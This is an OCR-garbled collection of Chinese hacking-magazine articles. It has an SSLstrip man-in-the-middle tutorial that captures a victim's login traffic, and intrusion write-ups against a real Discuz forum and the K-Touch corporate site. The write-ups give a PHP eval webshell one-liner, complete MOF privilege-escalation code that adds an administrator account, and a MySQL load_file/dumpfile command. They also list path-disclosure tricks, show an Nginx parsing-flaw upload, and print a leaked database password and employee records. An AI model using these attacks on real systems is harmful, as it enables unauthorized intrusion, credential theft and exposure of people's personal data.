某些神牛可能已经想到了,用 sslstrip, sslstrip 是 08 年黑帽大会提出的工具,它能突破对 SSL 的嗅探,下面我来简单给大家分析下 sslstrip 的工作过程,让大家能掌握其原理,就再听我 啰嗦几句吧!首先呢, sslstrip 会进行自动的中间人攻击来拦截通讯的 HTTP 流量,然后将流 量中所有出现的 HTTPS 链接全部替换为 HTTP,并把这个过程记录下来。接下来使用替换好 的 HTTP 与目标机器进行连接,并且与服务器,也就是 server 端进行 HTTPS,这样就可以对 目标机器与服务器之间的所有通讯进行一个代理转发。

但是使用 HTTPS 会出现一个黄色小锁的图标,如图 2.1.2 所示



图 2.1.2

那么与目标及其进行的 HTTP 连接并没有小锁会不会被目标机器发现呢?这个担心是多余的,sslstrip 会从之前记录的替换 HTTPS 链接中自动引用并把出现的图标替换为图片中的 黄色小锁,以此来欺骗目标对其的信任。这样一来,目标机器所输入的账号、密码等信息就 被我们这样骗取了。

但是在这里,我想推荐一款更好的工具 subterfuge。虽然用的是这款工具,但是我们最终调用的还是 sslstrip,那不是一样么?不,不一样,subterfuge 集成的前端和平台兼容性与稳定性更好,直接影响后面我们的发挥,呵呵。那么第二款工具呢?对于大多数新手朋友,我不推荐去使用专业的,因为参数和复杂度成几何倍提升,我们这里只是掌握了解一门知识,所以我推荐新手朋友使用 tcpdump 这款工具进行嗅探截获报文就好了,操作比较简单,功能也比较强大。既然工具和思路都准备好了,那么我们就开始实战吧!

(未完待续)责任编辑: 随性仙人掌

第2节 HTTPS 协议分析与报文截获(二): 实战篇

作者: Nick

来自: Disc Forbid Security Team

网址: http://www.discforbid.com/

之前我们详细讲解了理论知识,为我们接下来的实战打好了基础,废话不多说,我们开始吧, 相信大家也等不及了,看我啰嗦了这么久!

首先,我们来安装 subterfuge,这里我们用 ubuntu 系统来进行测试。方法在 linux 内核系 统上是通用的,BackTrack 一样,这句话主要是跟新手说的,防止他们以为自己用 BackTrack 不行!

wget http://www.discforbid.com/linux/SubterfugePublicBeta2.1.tar.gz%20

root@ubuntu:/test# wget http://www.discforbid.com/linux/SubterfugePublicBeta2.1. tar.gz%20 --2013-02-13 20:59:34-- http://www.discforbid.com/linux/SubterfugePublicBeta2.1 .tar.gz%20 Resolving www.discforbid.com... 141.101.116.97, 141.101.117.97 Connecting to www.discforbid.com.141.101.116.97, 141.101.117.97 Connecting to www.discforbid.com.141.101.116.97, 141.101.117.97 Connecting to www.discforbid.com.141.101.116.97, 141.101.117.97

tar xvf SubterfugePublicBeta2.1.tar.gz

root@ubuntu:/test# tar xvf SubterfugePublicBeta2.1.tar.gz subterfuge/

subterfuge/dependencies/

图 2.2.2 解压 subterfuge

python install.py -i

root@ubuntu:/test/subterfuge# python install.py -i

图 2.2.3 安装 subterfuge

cd /usr/share/subterfuge/



图 2.2.4 进入安装的默认目录

1s

root@ubuntu: arpmitm.py arpmitm.txt base_db Block cease COPYING root@ubuntu:	/usr/share/sub db definitions exploits httpall.log initpy initpyc /usr/share/sub	terfuge# ls lock.ico main manage.py mitm.py modules rearp terfuge# A	<pre>settings settings setup.py sslstrip sslstrip sslstrip</pre>
	图 2.2.5 查看该目录下	文件	
./sslstrip.py -h			
root@ubuntu: sslstrip 0.9 Usage: sslst Options: -w <filename< td=""><td>/usr/share/sub by Moxie Marl rip <options> >,write=<fi< td=""><td>terfuge# ./s inspike lename> Spec</td><td>sslstrip.py -h</td></fi<></options></td></filename<>	/usr/share/sub by Moxie Marl rip <options> >,write=<fi< td=""><td>terfuge# ./s inspike lename> Spec</td><td>sslstrip.py -h</td></fi<></options>	terfuge# ./s inspike lename> Spec	sslstrip.py -h
	图 2.2.6 运行测试	subterfuge	
echo "1" $>$ /prod	c/sys/net/ipv4/ip for	rword	

root@ubuntu:~# echo "1">/proc/sys/net/ipv4/ip_forward root@ubuntu:~#

图 2.2.7 开启网卡的转发模式

作者注: 在(一)中末尾我已经说了,我非常想给你们讲解这些网卡啊包括下文的防火墙的 数据转发,我虽然追求精益求精,自己拿出去的东西就要达到最好的质量,但是现在真的很 累了,我已经无法再给大家详细讲解了,有兴趣的可以自己去查阅下资料了解,对不起,请 谅解!(编者按:编辑你的文章我也快吐血了...)

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1234

作者注:我极其的想继续往下走,什么都不管,早点写完,但是我还是忍不住想去给大家做 个简单的讲解,我不想让大家不明不白的看的痛苦。我有过类似的经历,看文章作者什么都 不讲解,完全按照自己的思路走,那真的是看的非常痛苦,完全不理解,我不希望带给你们 这样的感觉。

-t:制定要匹配的表,这里我们选择的是 nat,网络地址交换,也就是 Network Address Translator -A:选择一个链,我们这里选择的是 PREROUTING,位于 nat 表,用于修改 DNAT

-p: 匹配协议类型,我们这里匹配的是 tcp 协议

--destination-port:制定目标端口,我们这里选择是80端口

-j: 后面带的是附加项

REDIRECT: 目标跳转

--to-port: 跳转到的端口,我们选择的是 1234

总体含义:把 80 端口数据转发到 1234 的端口上,也就是把 HTTP 的数据全部转到 1234 端口, 这方便与我们后面使用 sslstrip 进行监听。

cd /usr/share/subterfuge/



图 2.2.8 运行程序

注: -a 记录所有来自 SSL 和 HTTP 的数据, -l 1234 监听 1234 端口, 与之前在 iptables 里设置 的转发数据端口一样

这里还有很重要的一点,那就是我们必须得升级 iptables 才能使用-A 等参数,一般我们用的 Linux 或者 centos 或者 ubuntu 或者 BackTarck5 等,内置的 iptables 都是 1.4.4 版本的,如图 2.2.9 所示。

<pre>root@bt:~# iptables</pre>	- V
iptables v1.4.4	
root@bt:~#	

图 2.2.9 查看 iptables 版本

咦?这里怎么变成了 backtrack 系统了呢?因为虚拟机 ubuntu 我以前已经更新过了 iptables,所以拿 backtrack 来给大家演示如何升级 iptables 到最新版本 1.4.17, 输入

wget http://www.discforbid.com/linux/iptables-1.4.17.tar.bz2

效果如图 2.2.10



图 2.2.10 升级最新版本

iptable 最新版本,由于我虚拟机没有联网,所以下载失败,这里不用管,我桌面有工具, 我就直接复制进去了。如图 2.2.11

<pre>root@bt:~/test# tar jxvf iptables-1.4.17.tar.bz2 tar: 记录大小 = 8 块 iptables-1.4.17/ iptables-1.4.17/Makefile.am iptables-1.4.17/libipq/ iptables-1.4.17/libipq/ iptables-1.4.17/libipq/ipq_set_mode.3 intables-1 4 17/libipq/ipq_set_3</pre>
root@bt:~/test# ls iptables-1.4.17 iptables-1.
<pre>root@bt:~/test# cd iptables-1.4.17 root@bt:~/test/iptables-1.4.17# ./configure</pre>

图 2.2.13 进入目录

root@bt:~/test/iptables-1.4.17# make & make install

图 2.2.14 进行编译和安装

root@bt:~# cd /usr/local/sbin/
root@bt:/usr/local/sbin# ls
airbase-ng dsniff

图 2.2.15 进入安装目录

root@bt:/usr/local/sbin# cp iptables /sbin/ root@bt:/usr/local/sbin# cp iptables-restore /sbin/ root@bt:/usr/local/sbin# cp iptables-save /sbin/ root@bt:/usr/local/sbin#

图 2.2.16 拷贝文件在/sbin 目录替换



图 2.2.17 升级成功

好了,小插曲结束,我们继续之前,我们已经启动了 sslstrip 并进行了对 1234 端口的监听,现在我们开始嗅探并截获报文了,我们使用第二款工具 tcpdump, tcodump 一般都是自带的,已经安装好了。

首先来查看当前的网卡,我的是 eth0,如图 2.2.18



图 2.2.18 查看网卡信息 目标机器 IP: 192.168.1.105,如图 2.2.19

ithernet adapter 本地连接:

Connection-specific DNS Suffix . : IP Address. : 192.168.1.105 Subnet Mask : 255.255.255.0 Default Gateway : 192.168.1.1

图 2.2.19 目标机器 IP

开始嗅探,执行命令:

tcpdump -A -i eth0 tcp and src 1892.168.1.105 and port 80

解释一下参数:

-A: 开启 ASCALL 模式, 把所有截获的数据以 ACSALL 模式显示

-i: 选择监听的网卡, 我这里的是 eth0

tcp: 抓取所有 tcp 协议的数据包

and:逻辑连接命令,相当于和

src hosts and port: 抓取的源地址和端口,这里填写目标机器 IP 和 80 端口。

目标机器登陆 gmail, 注意 HTTPS, 如图 2.2.20



8CD1HU00aMgxdGyk40

图 2.2.21 截获 HTTPS 报文数据 终于写完了,希望大家能学到点什么吧。 (全文完)责任编辑: 随性仙人掌

SD0sUB-M

第三章 权限提升

第1节 帮朋友搞个站+提权服务器(万网云服务器)

作者: 紫云残雪

- 来自:法客论坛-F4ck Team
- 网址: http://team.f4ck.net/

当时中午刚放学到家 一基友扔过来一网站 回复后就去吃饭 吃饭回来 打开网站 发现是 dz 论坛程序 如图 3.1.1

		用QQ%号登录 只管一步,快速开始	帐号 [UID/ 密码 [R.P-&/Email	月动进录 夏夏	找回恋 注册
旌德在线阙 新闻资讯	房产频道 招聘求职 在线商城	在线论坛 礼品兑换	文明网	站 学习需要	the state	流、
itialii 🥣	· 佐德苦安网上#	四本ト総法書 🌯	活购物 网	LIN%		
	在德自家网工 版	鱼巾工线运营 😭	到付款 送	读上门		
「御絵入線御大信						
MARY COCOUP	φ 40.	200,004				
) 在线论坛 😥 胺德在线 1049	能谱在很	网(www.xcjd.net),旌油绿;	合性门户网站	- 施浦在织网,周期3	饷予,… (20	10-1-
) 在鉄论坛 😰 姪邊在桃 1049 今日: 110 昨日: 260 帖子: 2943	解谵症想 575 会员: 8439 欢迎新会员: 李肖翔	网(www.xcjd.net),能谱综	合理门户网站	· 施潘在织网,周游的	û 助手,…(20)10-1-) 查看考
) 在鉄论坛 🦻 姪德在桃 1049 今日:110 昨日:260 林子:294 论坛配片	解播在8 575 会员: 8439 欢迎新会员: 李肖和 是新帖子	阿(www.xijd.net),能谱综: 最新回发	会性们户网站	· 加油在很问,商家由 本J	9時手,…(20 明告门)10-1-5 查看8
) 在鉄论坛 2 接待在线 1049 今日:110 昨日:260 帖子:2943 论坛翻片	除港在# 575 会员: 8439 欢迎新会员: 李肖和 量新帖子 3 0 板角洋果子店(数香/日 [25%要话。]	四(www.xjd.net),推進課 量新回覧 B 我的小王	合理门戸阿站 (第名原学)	 加速在规门,周期日 本J 45 45 45 45 	9 時手,… (20 問題 门 学生车锅砚…)10-1-) 查看明 [小叔Ci
) 在鉄治坛 2 経審在鉄 1049 今日:110 昨日:260 私子:2943 论反照片 子信(155) (2.555)(18 10 : モン)	除港在# 575 会员: 8439 欢迎新会员: 非肖和 量新帖子 ● 街角洋果子店(数香/日 [火馬麥话] ● 街角洋果子店(数香/日 [火馬麥话] ● 現在的影不喜欢与任何人(注意乐)	 四(www.xqd.net),除油菜 量新回复 日 初か小三 今天玩了把真正的原格 	会性口户网站 (紫色原李) (小叔子)	 施導在規門,問題 本J 44月207四道第中号 今天一辆车拉击的 	9 助于, …(20 和热门 终生车锅砚… 何服了 (19	10-1- 查看和 [小叔]
○ 在纸站坛 ② 按谐正线 1049 (今日:110) FF日:260 私子:2942 途友服片 子供知道(2014) (2014) [0.1 年秋]	除港在部 575 会長: 8439 欢迎新会長: 李肖和 量新帖子 0 所角洋果子店(数香/日 (大年季:5) G 現在的訳不喜欢与任何人、 [冬素岳] G 台句相點。作都偏不走 (西山太供)	 목 (www.xtjd.net), 斯浩徐: 量新回紅 정約小三 今天執了招真正的漂移 川大女博士號檔案一單 法 	会性(1)中阿姑 (学会原筆) (小親子) (小親子)	 「施維在規門」 簡潔的 「株月207国連中号 〇、城月207国連中号 〇、大一朝车拉動 〇、大元引振真正 	9 時手,… (20 明告[] 片生车锅砚… 可见了 (9 約環路 (9)10-1- 查看朝 [小祝] [小祝] [神景]
 ・ 在紙応北 ② 絵香田桃 1049 ・ 日:100 時日:260 株子:294 ・ 262 転用片 ・ 265 転用片 ・ 100 また ・ ・ ・		역 (www.xqd.net), 除清徐 量新回复 (我的小三 이 수天玩了招真正的原稿 이 戶大女师上號檔案一冊 法 의 月子描伝流说汉盘婆说法	合地门户网站 (华色原李) (小成子) (小成子) (小成子)	 ・ 新藩在規門,周御田 本3 4月207国道中号 3 今天一朝年拉部 3 今天玩了把真正 3 表中的今秒3 	9時手,(20 問告 [] 於生车锅段 利息了 (H 約馬移 (H 約馬移 (H)10-1- 查看 [小叔] [小叔] [小叔] [小叔] [小叔]
) 在紙前北 ② 経済在戦 1049 今日:110 昨日:260 私子:294 途反照片 7.155-10 - 500 / ほう まう		 四(www.xtjd.net),能谱学: 量新回复 3 初か二三 3 大式「担真正的原移 川大支援士院結案一审法 3 刃子催怒洗浴:2 書敬故 3 201314大雪 	(学生原学) (学生原学) (小親子) (小親子) (小親子) (子親子) (学生原学)	 「「「「「」」」 「「」」 「」」 「」」 「「」」 「」」 「」 」 」 」 」 <li< td=""><td>())))))))))))))))))))))))))))))))))))</td><td>)10-1- 查看([小叔:]]]]]]]]]]]]]]]]]]]</td></li<>	()))))))))))))))))))))))))))))))))))))10-1- 查看([小叔:]]]]]]]]]]]]]]]]]]]
) 在紙前北 ② 転寄正統 1049 今日:110 昨日:260 私子:294 途后期片		四(www.xtjd.net),能谱学: 量新回望 ● 我的小三 ● 今天萩了指真正的漂琴 ● 八大女博士執禧家一年 法。 ● 男子描伝流波改進等致法。 ● 201314次雪 ● 功夫走路(世影)美国。	(学生原考) (分成子) (分成子) (分成子) (分成子) (分成子) (学生原考) (详通一生)	 「「「「「「」」」」 「「」「」」 「」「」」 「「」」 「」」 「」 」 」	()))))))))))))))))))))))))))))))))))))10-1- 查看 [小叔] [小] [小] [小] [小] [小] [小] [小] [小
) 在鉄能址 ② 転寄正統 1049 今日:110 昨日:260 私子:294 途反照片		 四(www.xcjd.net),能谱综合 量新回望 3 数的小三 今天玩了想真正的爆撃 月大女博士跳檔案一單 法。 男力描伝送演算の場響 201314大書 3次音中女童吃童豆味電室 	会世门户何站 (年在原考) (小成子) (小成子) (小成子) (小成子) (末在男考) (第四一主) 、(小成子)	 「「「「「」」」 「」」 「」 「」	(助手,(20 助告门 学生车锅机。 何里了 (明 約編編 (明 書編取完(明 文介冬季不(明 (明)10-1- 查看 [小叔] [小子] [小] [小] [小] [小] [小] [小] [小] [小
○ 在税站社 ② 修造正統 1049 今日:110 序日:260 私子:294 途左駆斥		四(www.xcjd.net),除油袋: 量新回望 3 我的小三 4 我的小三 5 我的小三 5 月大女塔上就檔案一單 法。 9 月子描伝流沢急婆我说。 2 01314大雪 3 沙宮マ女意吹意豆状電空 3 余村 美国、 9 森村 美信 客談 本像村園	(非色原考) (小成子) (小成子) (小成子) (小成子) (水成子) (第色用考) (第色一主) 、(小成子)	 「「「「「「」」」」 「」、「」、「」、「」、「」、「」、「」、「」、「」、「」、「」、「」、「」、「	3)助手, (20 問約() 対集年期現 利用了 (9) 約選称 (9) 第 (9) 第 (9) 第 個職現 (9) 第 (9) 第 個職現 (9) 第 (9) 第 個職現 (9) 第 (1) (1) (1) (1) (1) (1) (1) (1)	110-1- 查看 [小編] [小編] [小編] [小編] [小編] [小編] [小編] [小編]
○ 在状能社 ② 転寄正統 1049 今日:110 昨日:260 私子:294 途左期庁		保護回复 量額回复 ● 我的小三 ● 今天玩了招真正的原稿 ● 今天玩了招真正的原稿 ● 月大女帽士貌枯葉一冊 法。 ● 月大女帽士貌枯葉一冊 法。 ● 月月本/東信 大雪 ● 和大走路(电影 > 美国。 ● 动大走路(电影 > 美国。 ● 动大走路(电影 > 美国。 ● 动大走路(电影 > 美国。 ● 向村 新信 客広 本党利課 ● 執力 新信	★性门户网站 [学台版章] [小叔子] [小叔子] [小叔子] [外母子] [第四一生] [第四一生] [小叔子] [小叔子] [小叔子] [小叔子]	 「「「「「」」」、「「」」、「」、「」、「」、「」、「」、「」、「」、「」、「」	()) ()) ()) ()) ()) ()) ()) ()) ()) ())	110-1- 查看 [小假 開發支 開發支 開發支 開發支 開發支 開發支 開發支 開發支

图 3.1.1 网站是 dz 论坛

好吧 没有希望 直接拿出 御剑孤独那骚人写的 御剑 1.4 版本的工具 扫了下 旁站 都打开看了下 不是 dz 就是 16k 门户系统 好把 发现了这个 论坛 管理员 密码 很简单 社工进去了

and and a stand of the stand of					
く) (介 ・ 企业・ 🛯	http://		∮ ∨ ► 🚦	1	9
🛚 敬庸 ・ 🔣 谷敏 😔 同能大全 🛤 解放す	ŵ	👘 ir 🗮 🗧 🛙	🔋 F91R 🛄 I	前支 - 💽 秋田	- 🥭 2000
	- x 🔋	CREAKING THE CONTRACT OF A			0 ū
			机块管理 云书		現出 117
M					
		请输入规则对容		7 - q	
MMW CLUB	1与 倪心 倪大下			40	int
7	(法定资源) 游戏 装助 相			_	
0					- 0
室马车发会 《				关注粮宝行	
F: 592 @.]): 1202 欢迎新会员: 索马里V老婆			官方微博/官 抽取惊喜好:	方微信 礼!
	最新帖子	最新回复		(C) and a	
	6 視频2012 三分钟看尽中国(快马汇1)	6 悦马汇量输之人 评选活动。(百岁);	6 杭州道海6月		
中中世界 四人王王 共体斗	◎ 支持6台¥iPi的端 宝马带. (快马汇)	2011年12月悦马汇大型活. (百支运)	◎ 视频2012 3	100	0.0
(日田町大社, 用し用17. 188, 186.	□ 黑马525LI新人未此报道!(吾爱保洁)	協行中的禁忌【三】 (百支运)	〇 杭州道声汽	La caracteria	音影演
新BMW X1盛大发布	6 杭州道声汽车音响六周年. (杭州道声)	3 視頻2012 三分供着尽中国 (北川)	8	Electronado	C EUPINCE.
12月7日 机闸能室行	杭州道声6周年后庆,岁末(杭州道声)	③ 浙江悦马汇2011年10月7日. (金岩夜)	8	12月31日前, 第366, 第366, 第366, 第368, 1866, 1868	·除室行室方環境和 与信書大編成,快楽
青葉寺18:20020000時6022	6 杭州道声汽车音响六周年. [杭州道声]	③ 室马毗35i正式上市 售 [rt964erf.]	8	ALLECTE!	
1793A	■ 有別友出PACD時?常量才(諸国事件)	■ 1855永		Ĩ	
14114- <u>-</u>	□ 明年1月自武 玉崎4款(eq. (15.4元)) ○ 未次報収制(7.4)	THE PART AND CREAT AND A SECOND A SECONDA		Marine	
IW CON	○ オシュニアメリナ: UVALA) の、 (は様子湯→保的時代事子 (15371)	(1) 水田市地区へ、岡田下 5.000(1)(1)(二)			回美国
	ALVELT AND ADDRESS OF TAXABLE TO ADDRESS	· ARLINEL - MALLING & Mall - 1984-13			

图 3.1.2 社工进入论坛

立刻转战后台写入 dz2.5后台漏洞 的那个 一句话 fuck\\');eval(\$_POST[a])?>;// QQ 写到了 config/config/ucenter.php 内 用菜刀连接 进去

中国菜刀@2	0100928 http://		hhann easter. 🗀 http		- +
D D					±
223. 4. 171. 55	目录(0), 文件(7)	名	称	时间	大小
 □ □	fic hiver net_client a rce tic plate client		1.mof config_global.php config_global_default.php config_ucenter.php config_ucenter_default index.htm mysql.mof	2013-01-03 14:52:46 2012-08-01 06:04:57 2012-09-03 06:13:04 2013-01-07 08:03:40 2012-07-02 05:54:04 2012-07-02 05:54:04 2013-01-01 18:15:01	681 4436 7709 563 1512 1 738
	Server				

图 3.1.3 菜刀连接

都已经弄过的 就简单写下 提权方法 找出 mysql 数据库 帐号密码

- \$_config['db']['1']['dbuser'] = 'root';
- \$_config['db']['1']['dbpw'] = 'tfr226206';
- \$_config['db']['1']['dbcharset'] = 'gbk';
- \$_config['db']['1']['pconnect'] = '0';

\$_config['db']['1']['dbname'] = 'webbmw'

(因为用 php 大马 提权就会被杀 没办法 很多 东西都提权不了 所以找数据库 用下最新

的 Mysql 的那个提权漏洞)

```
#pragmanamespace("\\\\.\\root\\subscription")
instanceof__EventFilteras$EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
              "Where TargetInstance Isa \"Win32_LocalTime\" "
              "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin
/add\")";
};
```

```
instance of ___FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
```

};

注意上面的 net.exe user admin admin /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行。把上面的文件保存成 mof 文件 即可

再然后,在菜刀里连接 mysql 数据库后执行:

Select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof';

保存到这个目录 D:\WorkSpace\吕强\config\1.mof, 然后 用菜刀的 数据库功能 执行下 上面的代码

select load_file('D:\\WorkSpace\\ 吕 强 \\config\\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

传个大马 执行以上代码 登入 mysql 管理执行代码



图 3.1.4 登入 mysql 执行代码

回显成功 然后修改 1.mof 文件, 如图 3.1.5

namespace("\\\\.\\root\\subscription")
ofEventFilter az \$EventFilter
<pre>.tNamespace = "Root\\Cimv2"; = "filtP2"; y = "Select * FromInstanceModificationEvent" "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance. Second = 5"; "Lorgetare = ""WI".</pre>
Arangage - udr :
of ActiveScriptEventConsumer as \$Consumer
= "consPCSV2"; ptingEngine = "JScript"; ptText =
WSH = new ActiveZObject(("WScript.Shell(")\nWSH.run(("net.exe localgroup administrators dust[/add(")
ofFilterToConsumerBinding
umer = \$Consumer: er = \$EventFilter:

图 3.1.5

提升为管理权限,如图3.1.6

	叙地库: [information_schema] [mysqi] [qqddbuy] [test] [tfr226206]	[webbm	wj	
	select load_file('D:\\WorkSpace\\吕强\\config\\1.mof') into dumpfile 'c:/windows/sy			
	stem32/wbem/mof/nullevt.mof :	4L/=	() here to	C. Industry
1		执行	创建表	创建库
	执行成功			

图 3.1.6

感谢 hackshy888 的提权方法和冰刀的指点

第 21页 /共 127页

再执行代码,成功登入,如图 3.1.7



(全文完)责任编辑: 飞云

第2节 对天语手机官网的一次入侵

作者: Arel

来自:法客论坛-F4ck Team

网址: http://team.f4ck.net/

本屌丝天天搬砖,终于在去年买了个安卓机-大黄蜂,手机性能是可以,但手机系统和售后 实在垃圾,于是就想日天语网站。

那么本彩笔手中没啥 Oday 没信心也没能力从主站下手...

So, 找他的分站吧, 从C段开始下手。

用御剑扫了扫 就这么几个站,果断批量扫描目录。

恩。也扫出来点东西	
-----------	--

* *	neep.)) cas. a couch en	(Include)	200
12	http://	admin/	200
13	http://	WEB-INF/	200
14	http://www.http	/phpmyadmin/	200
15	http://www.http://www.	inages/	200
16	http:// ouc.c	help/	200
17	http://is.it.c.	admin/index.html	200
18	http://s.or.h.cz	html/	200
19	htt:/ s.a Juch of	include/htmleditor/	200
20	htt. s juck of	bbs/config.inc.php.bak	1000
21	http:///iel.c	bbs/	2017
22	http://////////	/bbs/include/	200
23	http:// 1 + pag / t	/bbs/admin/	Thom
24	http:	/update/	1250 CIM

图 3.2.1 扫描结果

我去,亮瞎本屌镀 24K 的铝合金狗眼! 配置文件备份?果断下载!!

	conf	ig.inc.php.l	bak - ù	事本								l l	-	-	x
3	文件(E)	编辑(E) 格	転(<u>O</u>)	查看(1)	帮助(<u>H</u>)										
*	/														^
1	/ [CH	1] 以下变:	量请根	据空间	商提供的账	号参数	修改,如	1有	疑问,请	联系服	务器	是供商			
		\$dbhos \$dbusen \$dbpw = \$dbname \$pconne	t = '1 = 'r = ' = ' = '	ocalho: oot'; LDTLom 0;	st'; outor ru t;			 	数据库月 数据库月 数据库月	服务器 用户名 各 持久连	// 数 接 0=疗	据库管 关闭,1	容码 1=打开	Ŧ	
1	/ [Сн] Mysql \$	補助服	务器设!	置,只有当;	您拥有	多个 M	ysq	11 服务	器且协	司工作	时请进	t行设	置	
L		\$multi:	server	= arra	ay ();		,	//	服务器	变量初续	始化,	请勿修	≧改或	删除	
1	/ [CH	[] 如您对	cooki	e 作用3	范围有特殊	要求,	或论坛	登于	录不正常	; 请修	改下面	而建立	、否则	山语传	呆:
		\$cooki \$cooki	epre = =domai	'tysj	<u>,</u> ;;			//	cookie cookie	前缀作用词	Sec	curit	уТ	ea	m
					図 3 9	9	立住								

恩[~]既有 root 账号,又有 phpmyadmin,那么再找到网站路径,十有八九就拿到 shell了。 先试试能不能登陆上 phpmyadmin,运气不错 上了[~]

php <mark>MyAdmin</mark>	圓 腦旁書: localhost
🖪 📰 🗔 🔍	圖數据库 氯5QL 尊状态 副变量 到字符集 副Engines 動权限 画二进制日志
• Sonference (46)	Actions
 Internet (46) Internetion_schema (28) nyell (20) 	 少 重改密码 ■ 登出
o tys (175) o tysbbs (121)	NySQL localhost
•tes 青选择数据库	≫ 創建一个新的数据库 ⑧
	图 MySQL 连接校对: 整理 · @ Security Team

图 3.2.3 登入 phpmyadmin

OK., 接下来就想办法爆网站路径吧!

php 暴路径的常见方法:

1、单引号爆路径

说明: 直接在 URL 后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。www.xxx.com/news.php?id=149⁷

2、错误参数值爆路径

说明:将要提交的参数值改成错误值,比如-1。-99999 单引号被过滤时不妨试试。

www.xxx.com/researcharchive.php?id=-1

3、Google 爆路径

说明:结合关键字和 site 语法搜索出错页面的网页快照,常见关键字有 warning 和 fatal error。 注意,如果目标站点是二级域名, site 接的是其对应的顶级域名,这样得到的信息要多得多。

Site:xxx.edu.tw warning

Site:xxx.com.tw "fatal error"

4、测试文件爆路径

说明: 很多网站的根目录下都存在测试文件, 脚本代码通常都是 phpinfo()。

www.xxx.com/test.php

www.xxx.com/ceshi.php

www.xxx.com/info.php

www.xxx.com/phpinfo.php

www.xxx.com/php_info.php

www.xxx.com/1.php

5、phpmyadmin 爆路径

说明:一旦找到 phpmyadmin 的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于 phpmyadmin 的地址可以用 wwwscan 这类的工具去扫,也可以选择 google。 PS: 有些 BT 网站会写成 phpMyAdmin。

1. /phpmyadmin/libraries/lect_lang.lib.php

2./phpMyAdmin/index.php?lang[]=1

- 3. /phpMyAdmin/phpinfo.php
- 4. load_file()5./phpmyadmin/themes/darkblue_orange/layout.inc.php
- 6./phpmyadmin/libraries/select_lang.lib.php
- 7./phpmyadmin/libraries/lect_lang.lib.php

8./phpmyadmin/libraries/mcrypt.lib.php

以上各种方法爆路径都无果。。 换思路^{~~} 先看看网站吧,来到后台,如图3.2.4

K-Touch Ta		我的天语	
~			
ла. Э	卢矣。	LOGIN	
50 1911	E.M.	XVED	And In
			-
1			ICK (C) urity Team

图 3.2.4 管理后台

主页啥也没有,就一个登陆页面。

要想进去看看就得有一个用户啊,不过没注册的地方呃..... 哦! 我去,好吧,我二了,有 phpmyadmin,在里面找不就行了。

usernane RPS	password #8	compellation 26	sex	departmentid	job_id ###### #######	id_card	QQ 99	mail t-mil	phot
chet	c4c6Pa272a Pac4285 a0T1c5ccab8fb	防算者	囲	275	48	0		cherart k-touch. on	010-58
20250101	a823bab48b13d 5409 f9918f0bc7af1	11 12	女	6026	41	0		xallshe 63. com	153990
Sr Ay	c33367701511b4_0020ec61ded352059	製修会	文	275	48	0		gue fille touch. en	010-58
22 2QT01	e10adc3949br53abbe56e057f20f883e	亚 皮丽	网	5991	41	0		226 QT0 02262.00M	135829
HBUT	d097071475/18/66ct 7b26fb8+2298f	斜视	囲	215	48	1234567890		hec @kpuch. cn	589290
23. QT2	2019e7943.654 38851 18111624d0b	70月1月	Ŗ	6009	41	0		pta_tj:v@163.com	022-24
30: 8QT01	e10adc394 av9abbe56 057f20f883e	98 0	文	6101	41	0		302 QT0 2163. con	
286 jl.01	Secib5c7b analcef dB5bc4d45e8	19 4	男	6130	45	D		2865 1.01 0163. com	130865
241 2701	5d1a9alec905 786e4af 94361b05a2f	冯 6 萍	¢	5587	41	0		chaozatus20099163.com	0917-8

图 3.2.5 在 phpmyadmin 找用户

恩。 里面资料挺全的[~] 手机邮箱 工作地址都有[~] 随便找了一个,破解登陆,如图 3.2.6

K-Touch 7	9 天宇企业网络大	☆ 设为首页 48 加力能
首页 新闻公告 网枝介绍	学习需求调查 课程资源中心	培训项目中心 业务资料中心 视务
 ・ 学員査求 	网动 總索: 请输入所需的检索	酒 课程 🔽 网络
■ 培训项目排行 note >>	■ 公司新闻	
>> 工程価減税学习考试	» 业务资料中心开放了 图 3.2.6 登录成功	And the security Team*

话不多说。 进入个人中心,修改头像•。。

• 个人头像替换



图 3.2.7 上传小马 上传后一片空白,啥都没有[~] 这可怎么办呢[~] 然后无聊的就翻着玩。 手抖了下,在地址栏多打了几个字母,重点来了[~]

🗲) 🛞 css.k-touch.cn/index.phpsd

404 Not Found

nginx/0.8.37



6

图 3.2.8 上传失败

我去!。Nginx!刚才我还傻逼的用 IIS 的解析漏洞! 以后拿站一定要先看环境! 等等!Nginx?! 好像有个解析漏洞!

第 25页 /共 127页

随便找个了图片 试试,漏洞存在,如图 3.2.9

🗲) 🕲 css.k-touch.cn/include/htmleditor/uploadfile/20101009075927001.gif/1.php

🖸 🖒 🤊

图 3.2.9 漏洞存在

Nginx 在图片地址后加 /1. php 会解析成 php 文件[~]象这个[~]

好吧既然这样,上传一个图片一句话马!

修改头像,得到地址!

地址:	http://css.k-touch.cn/upload/201301/1359578561.jpg
类型:	JPEG图像
大小:	未知(未缓存)

图 3.2.10 得到地址

果断利用解析漏洞 连菜刀。如图 3.2.11

- 中国菜刀@20	100928 🗀 🗠 🛌		•		_		
/www.oot/htdocs/	www/upload/201301/				t 🗸 👔	E EL	-
124. 127. 121. 202	目录(0),文件(49)	名称	时间	大小	属性		ΞĒ
3 🍲 /		🔁 1358759506.pdf	2013-01-21 09:11:46	310471	0644		
🖃 🚞 www.root		🔁 1358427331.pdf	2013-01-17 12:55:31	468297	0644		75
🖃 🧰 htdocs		🔁 1358866827.pdf	2013-01-22 15:00:27	4201143	0644		100
🖃 🧰 www		📆 1358870096.pdf	2013-01-22 15:54:56	818256	0644		Circl Circl
E 🚞 1	upload	🔁 1358158363.pdf	2013-01-14 10:12:43	302348	0644		
l l	201301	🔁 1358427272.pdf	2013-01-17 12:54:32	981258	0644		
